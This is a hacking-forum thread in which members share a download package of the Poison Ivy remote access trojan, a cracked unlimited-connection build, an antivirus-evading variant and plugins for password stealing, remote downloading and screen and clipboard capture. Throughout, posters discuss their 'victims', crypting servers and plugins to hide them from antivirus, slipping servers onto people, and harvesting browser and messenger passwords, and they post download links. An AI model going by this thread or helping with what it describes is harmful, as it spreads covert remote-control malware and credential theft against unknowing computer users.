

Forum:[Hack Forums](#)

Thread: [Poison Ivy 2.3.2, Modified PI, Plugins for both](#)

Neroxan - December 17, 2009, 3:31 pm

We dont really have something like this here Ive noticed...

Anyways, credits to all of this stuff go to various members @ HH minus the original 2.3.2 version.

Included in the rar are as follows.

~Regular 2.3.2 straight from PI mainsite.

~ 2.3.2 With connection limit bypassed (above version can only have 200 connections)

~ Venomous Ivy (by squeezer) I had issues getting this to work but have used it in the past and it removed a lot of detections compared to the normal PI server. Other neat functions for a server builder as well.

Plugins are as follows

~Remote Clipboard Manager

~Remote Web Downloader

~Remote Power Control (shutdown restart sleep)

~Password stealer (various functions supported check to see them)

~O.p screen capture plugin (from PI mainsite)

~Wifi scanner plugin (From PI mainsite)

~Port scanner plugin (from PI mainsite)

~newest public plugin available from someone @ Indetectables, Fun manager (open webpage, open cd tray, fuck with mouse etc...)

These downloads were all checked by many ppl over @ the other site which I got them from and proven to be clean. However I did run across some conficker today that got past my deepfreeze and infected all my .exe files, however the .rar's appear to be clean according to nod32 runtime scanners. Let me know if anything is otherwise and Ill reupload them, if they aint clean I didnt know any different.

<http://www.multiupload.com/XRLRFJHFR6>

If you enjoy the package a simple thanks is all I ask to bump the thread so that others may find it. Hope it makes some

Neroxan - December 17, 2009, 7:17 pm

Okay here are some screenshots.

Credits

[IMG]<http://i651.photobucket.com/albums/uu233/Imwyldechylde/credit.jpg>[/IMG]

remote clipboard

[IMG]<http://i651.photobucket.com/albums/uu233/Imwyldechylde/HHclipboardmanager.jpg>[/IMG]

remote downloader

[IMG]<http://i651.photobucket.com/albums/uu233/Imwyldechylde/HHdownloadmanager.jpg>[/IMG]

power control

[IMG]<http://i651.photobucket.com/albums/uu233/Imwyldechylde/HHPOWERC.jpg>[/IMG]

stealer

[IMG]<http://i651.photobucket.com/albums/uu233/Imwyldechylde/HHPWSTEALER.jpg>[/IMG]

screen capture

[IMG]<http://i651.photobucket.com/albums/uu233/Imwyldechylde/OPscreencapture.jpg>[/IMG]

wifi scanner

[IMG]<http://i651.photobucket.com/albums/uu233/Imwyldechylde/wifiscanner.jpg>[/IMG]

port scanner

[IMG]<http://i651.photobucket.com/albums/uu233/Imwyldechylde/portscanner.jpg>[/IMG]

Fun

[IMG]<http://i651.photobucket.com/albums/uu233/Imwyldechylde/PIFUN.jpg>[/IMG]

Daxxor - December 18, 2009, 2:57 am

Nice, thanks man. Cerberus is shit, hopefully this one is better.

EDIT:

Wouldn't expect this from a member with 1000+ posts.

File Info

Report generated: 18.12.2009 at 12.04.13 (GMT 1)

Filename: Plpack.rar

File size: 6385430

MD5 Hash: 128d4de328ccf1f7cef18a19d6f85ba5

SHA1 Hash: 57EB8C32F29823A0D4BFE7E445948E3791BF24C6

Self-Extract Archive: Nothing found

Binder Detector: Nothing found

Detection rate: 20 on 24

Detections

a-squared - Backdoor.Poisonivy.Q!IK

Avira AntiVir - TR/Crypt.XPACK.Gen

Avast - Win32:Poisonivy-CR [Trj]

AVG - BackDoor.Generic10.EVK

BitDefender - Backdoor.Poisonivy.Q

ClamAV - Trojan.Downloader-24465

Comodo - UnclassifiedMalware

Dr.Web - BackDoor.Poison

Ewido - Backdoor.PoisonIvy.q

F-PROT6 - W32/Backdoor2.DIUf

G-Data - Backdoor.Win32.Poison.qo A

Ikarus T3 - Backdoor.Poisonivy.Q

Kaspersky - Backdoor.Win32.Poison.ymw

McAfee - Generic.dx trojan

NOD32 v3 - multiple threats

Norman - Trojan W32/PoisonIvy.SCW

Panda - -
QuickHeal - Trojan.Agent.irc
Solo Antivirus - -
Sophos - Troj/PoisonI-C
TrendMicro - -
VBA32 - Backdoor.Win32.Poison.qo
VirusBuster - Backdoor.Bisar.N
ZonerAntivirus - -

Scan report generated by
NoVirusThanks.org

aznshadow - December 18, 2009, 7:49 pm

(Dec 18, 2009 03:57 AM)kenzo47 Wrote: [\[CITE\]](#) Nice, thanks man. Cerberus is shit, hopefully this one is better.

EDIT:

Wouldn't expect this from a member with 1000+ posts.
File Info

Report generated: 18.12.2009 at 12.04.13 (GMT 1)
Filename: Plpack.rar
File size: 6385430
MD5 Hash: 128d4de328ccf1f7cef18a19d6f85ba5
SHA1 Hash: 57EB8C32F29823A0D4BFE7E445948E3791BF24C6
Self-Extract Archive: Nothing found
Binder Detector: Nothing found
Detection rate: 20 on 24

Detections

a-squared - Backdoor.Poisonivy.Q!IK
Avira AntiVir - TR/Crypt.XPACK.Gen
Avast - Win32:Poisonivy-CR [Trj]
AVG - BackDoor.Generic10.EVK
BitDefender - Backdoor.Poisonivy.Q
ClamAV - Trojan.Downloader-24465
Comodo - UnclassifiedMalware
Dr.Web - BackDoor.Poison
Ewido - Backdoor.PoisonIvy.q
F-PROT6 - W32/Backdoor2.DIUf
G-Data - Backdoor.Win32.Poison.qo A
Ikarus T3 - Backdoor.Poisonivy.Q
Kaspersky - Backdoor.Win32.Poison.ymw
McAfee - Generic.dx trojan
NOD32 v3 - multiple threats
Norman - Trojan W32/PoisonIvy.SCW
Panda - -
QuickHeal - Trojan.Agent.irc
Solo Antivirus - -
Sophos - Troj/PoisonI-C
TrendMicro - -

VBA32 - Backdoor.Win32.Poison.qo
VirusBuster - Backdoor.Bisar.N
ZonerAntivirus - -

Scan report generated by
NoVirusThanks.org

Obviously its going to be like this... its a RAT of course its going to be detected.

Daxxor - December 18, 2009, 10:54 pm

(Dec 18, 2009 08:49 PM)aznshadow Wrote: [\[CITE\]](#) Obviously its going to be like this... its a RAT of course its going to be detected.Yeah, but not as a backdoor.

The shit is backdoored.
people don't download.

MOSH! - December 19, 2009, 12:54 am

Ooh fuuk I'm infected :S

Enteria - December 19, 2009, 3:48 am

I test to download this JUST for the plugins.. if u hack me.. i break your face! :)

Neroxan - December 19, 2009, 9:04 am

(Dec 18, 2009 11:54 PM)kenzo47 Wrote: [\[CITE\]](#) Yeah, but not as a backdoor.

The shit is backdoored.
people don't download.

All of these plugins and the PI clients themselves have been thouroughly examined by many members of many forums and all are safe for use.

Furthermore, Expect ANY member to upload a backdoored piece of software. Because Ive had 1000 posts does not make me trust able. The fact that I try to keep people from getting infected rather than infecting people should make me trusted.

And YOU shouldnt be trusting a virus scan to show if something is safe to run or not. There are false detections when things are clean, and no detections when things are not clean. And Anyone can edit the info shown to say no detections if they want.

If you want to test .exe files to see if they are clean or not, look for anubis' website over @ icelabs.

SO everyone has been made this clear with....

These plugins ARE backdoors. You put them into your pi client, and then the pi client sends the backdoor to the victim to use. Without the backdoor dll being sent to the victim that the control dll uses (note there are 2 dlls in each folder for this reason, both are needed to use the plugin) Then the control plugin would have nothing to use and the plugin would be useless. To verify this load one of the plugins and then watch the upload bar when you try to use it with a victims screen opened, youll see the blue upload bar progress as it sends the backdoor plugin to the victim so the plugin will be complete and work as it should.

Anyone with a 4th graders brain should have been able to determine that themselves but its been made clear now so there should be no questions about that any further.

DrSponge - December 19, 2009, 9:06 am

thankk you great plugins :)

Neroxan - December 19, 2009, 9:10 am

(Dec 19, 2009 10:06 AM)live4eva Wrote: [\[CITE\]](#) thankk you great plugins :)

? I cant take credit for the plugins. But you are welcome for posting them here. I thought it may

keep some people from having to register @ another forum to use them. ?

rs4 - December 19, 2009, 10:38 am

thanks for share ?

unfdes - December 20, 2009, 11:00 am

thank stable 100% :)

eneakume - December 20, 2009, 7:07 pm

(Dec 18, 2009 11:54 PM)kenzo47 Wrote: [\[CITE\]](#) Yeah, but not as a backdoor.
The shit is backdoored.
people don't download.
U AN IDIOT ?

Santa - December 20, 2009, 7:09 pm

Thanks bro
Will use in the future.

Neroxan - December 20, 2009, 7:34 pm

(Dec 20, 2009 08:09 PM)Santa Wrote: [\[CITE\]](#) Thanks bro
Will use in the future.
Whoo! Santa came and saw me for Christmas!
Glad some people are enjoying the mirror of the plugins.

Joser - December 20, 2009, 7:36 pm

I wish someone made something like this for cerberus

Neroxan - December 20, 2009, 7:44 pm

(Dec 20, 2009 08:36 PM)Joser Wrote: [\[CITE\]](#) I wish someone made something like this for cerberus
I wish cerberus didnt drop my victims but it does so poo on it.
PI FTW

Dark Payload - December 20, 2009, 8:30 pm

It was about time someone compiled these into one package, thanks for saving me some time tracking them down.

Neroxan - December 21, 2009, 6:53 am

(Dec 20, 2009 09:30 PM)Dark Payload Wrote: [\[CITE\]](#) It was about time someone compiled these into one package, thanks for saving me some time tracking them down.
Glad that it was of some help to you. Ill be updating it as/if I happen to find anymore relatively useful ones.

GEDEON10 - December 30, 2009, 7:20 am

Thanks you great plugins.

Neroxan - December 30, 2009, 2:16 pm

becarefull with them, they can get you into more trouble than I thought...

SIM-99212 - December 30, 2009, 7:01 pm

Isn't Hack Hound trying to block people from this forum?

Neroxan - December 30, 2009, 7:56 pm

(Dec 30, 2009 08:01 PM)jawatim Wrote: [\[CITE\]](#) Isn't Hack Hound trying to block people from this

forum?

Yes, but if one cant find a solution to fix what they do in order to do it, then they need some more practice searching on google before they make it to our boards....
Its simple.

(cough cough <https://hackforums.net/showthread.php?tid=218373&page=1>)

kami117 - December 31, 2009, 1:20 am

nice plugins bro keep it up

extortionist926 - December 31, 2009, 10:09 am

Thanks, downloading now.

MetricStorm - December 31, 2009, 12:02 pm

good package.

lots of plugins for poison ivy users.

BaNNED - December 31, 2009, 12:15 pm

Good Pack for Poison Ivy .

I downloaded it already and it was clean :)

?????????I?? - December 31, 2009, 12:16 pm

Ah I forgot all about Poison Ivy when I saw Cerberus... ?

Neroxan - December 31, 2009, 12:49 pm

(Dec 31, 2009 01:16 PM)?????????I?? Wrote: [\[CITE\]](#) Ah I forgot all about Poison Ivy when I saw Cerberus... ?

yeah so did I , till it dropped 63 of the 80 victims I hit "update" on when changing from PI to cerberus.

Then,back to pi

If you want to see webcams, use pi to install a cerberus server. Thats about all I find it good for?

Ziore - December 31, 2009, 3:06 pm

Any update in this software? :)

Neroxan - December 31, 2009, 9:45 pm

(Dec 31, 2009 04:06 PM)Ziore Wrote: [\[CITE\]](#) Any update in this software? :)

What update? Its the newest release of PI that has been made to date (the author is supposedly back in action on another so be on the lookout still)

Theres a delimited version of 2.3.2 in the package and a shitload of plugings for them as well.

Be aware that some plugins are slightly detected however. At times the antivirus will detect the password recovery plugin (depending on which they use) If this happens the victim will disconnect and then reconnect again for me.

The plugin files are .dll extension so Im sure that you could crypt them to hide detection, but my crypter does not handle .dll extension so I cannot myself. I will look for software to convert .dll files into .exe and see if I cant do that and change it back to undetect the tools this evening.

kac123ige - January 1, 2010, 9:00 pm

anybody ever think that these people who coded the plugins would actually put their own servers into the code of the plugin? wouldnt be that difficult to do... thats what i would do if i coded a plugin for PI

Neroxan - January 1, 2010, 11:08 pm

(Jan 1, 2010 10:00 PM)kac123ige Wrote: [\[CITE\]](#) anybody ever think that these people who coded the plugins would actually put their own servers into the code of the plugin? wouldnt be that difficult to do... thats what i would do if i coded a plugin for PI

Nothing is fool proof but these have been checked by a good many and passed.
I use deepfreeze anyways, if you dont protect your system then thats your own accord and we cant be responsible

Warpclaw - January 2, 2010, 1:46 am

LOL at Fun manager :D

Neroxan - January 2, 2010, 4:35 am

(Jan 2, 2010 02:46 AM)Warpclaw Wrote: [\[CITE\]](#) LOL at Fun manager :D
meh, bout the only good thing I find for it is that it has remote open webpage, and shutdown options on the same plugin.
Its also really buggy. You cant move the screen around or close it without closing it from the taskmanager.

WooT - January 6, 2010, 2:13 pm

thanks a ton for these, defiantly will entertain me.

Ziore - January 20, 2010, 1:44 pm

Check Pm's OP. :]

[img]/[img]

Cylay - January 20, 2010, 2:12 pm

Thank you :)

t2
t2
t2

Neroxan - January 20, 2010, 2:13 pm

(Jan 20, 2010 02:44 PM)Ziore Wrote: [\[CITE\]](#) Check Pm's OP. :]
Actually Ive planned on updating this soon anyways. Ive found a crypter which is supposed to be for turkojan which has been hexed by one of the more knowledgeable ppl here. It was 3/24 when i picked it up, who knows what now but its bound to be better than what some of these plugins are so Im going to see if it will do them tonight.

Here is a direct link to all of the current files however (except for venomous ivy as this one seems to suck and not work half the time)

http://tigerden.uppit.com/save/e8f36596848a78ab7356fa40b890f2be/4b577ff0/0209/4xejeg2k/PI_pack.rar

d_boy - January 21, 2010, 7:12 am

Thanks for plugins.I was searching for those. Is there any way to find more plugins for ivy?

John Abruzzi - January 21, 2010, 9:10 am

thanks for the great stuff

but is there a better plugin for passwordstealer?

i think this plugin isnt very good, i need one for firefox and messangers, would you pls help me?

Neroxan - January 21, 2010, 10:19 am

(Jan 21, 2010 10:10 AM)John Abruzzi Wrote: [\[CITE\]](#) thanks for the great stuff

but is there a better plugin for passwordstealer?

i think this plugin isnt very good, i need one for firefox and messangers, would you pls help me?

Plugin works fine for firefox other than being detected by some a/v

Also stores msn credentials in firefox if user accepts too, so is a chance of getting those.

Otherwise I recommend using a stealer uploaded via file manager, or perhaps something of that such.

101 - January 21, 2010, 5:04 pm

Is the DL link for plugins or for PI and plugins?

Neroxan - January 21, 2010, 9:31 pm

(Jan 21, 2010 06:04 PM)101 Wrote: [\[CITE\]](#) Is the DL link for plugins or for PI and plugins?Regular PI Unlimited PI plugins (which work on both)

regular PI can only hold 200 connections on one port. With the cracked/unlimited one you can allow as many to connect as your internet connection will support.

Bobdabuilder - January 23, 2010, 3:55 pm

does it work with Vista?

Neroxan - January 24, 2010, 12:22 pm

Its fairly easy to remove a poison ivy server. IF you know that its there anyways. Its pretty easy to crypt a server and slip them in on someone though, most any rat server is.

reedz - October 14, 2010, 4:40 am

cool this post, nice plugins please link more.. thx

charlo - November 27, 2017, 12:18 pm

Hello sorry for this old post but please any people have this plugins please ? thanks

SIM-2875347 - November 27, 2017, 3:06 pm

(Nov 27, 2017 01:18 PM)charlo Wrote: [\[CITE\]](#) Hello sorry for this old post but please any people have this plugins please ? thanks

THIS THREAD IS 7 YEARS OLD

charlo - November 28, 2017, 7:27 am

(Nov 27, 2017 04:06 PM)Buildoman Wrote: [\[CITE\]](#) THIS THREAD IS 7 YEARS OLD

Yes i'm sorry but i use pi and like this plugins and its missing on all internet i just need good people upload to me this plugins if he have on computer ?

LemonHaze53 - November 29, 2017, 8:08 am

Link doesn't work, please update the download link thank you

Fulya Donmez - November 29, 2017, 11:43 am

(Nov 29, 2017 09:08 AM)LemonHaze53 Wrote: [\[CITE\]](#) Link doesn't work, please update the download link thank you

You must have been smoking all day and taking bad vodka to bump on 2009 thread... Grave digger

x1234xx - November 29, 2017, 4:43 pm

thank stable 100% :) thx dude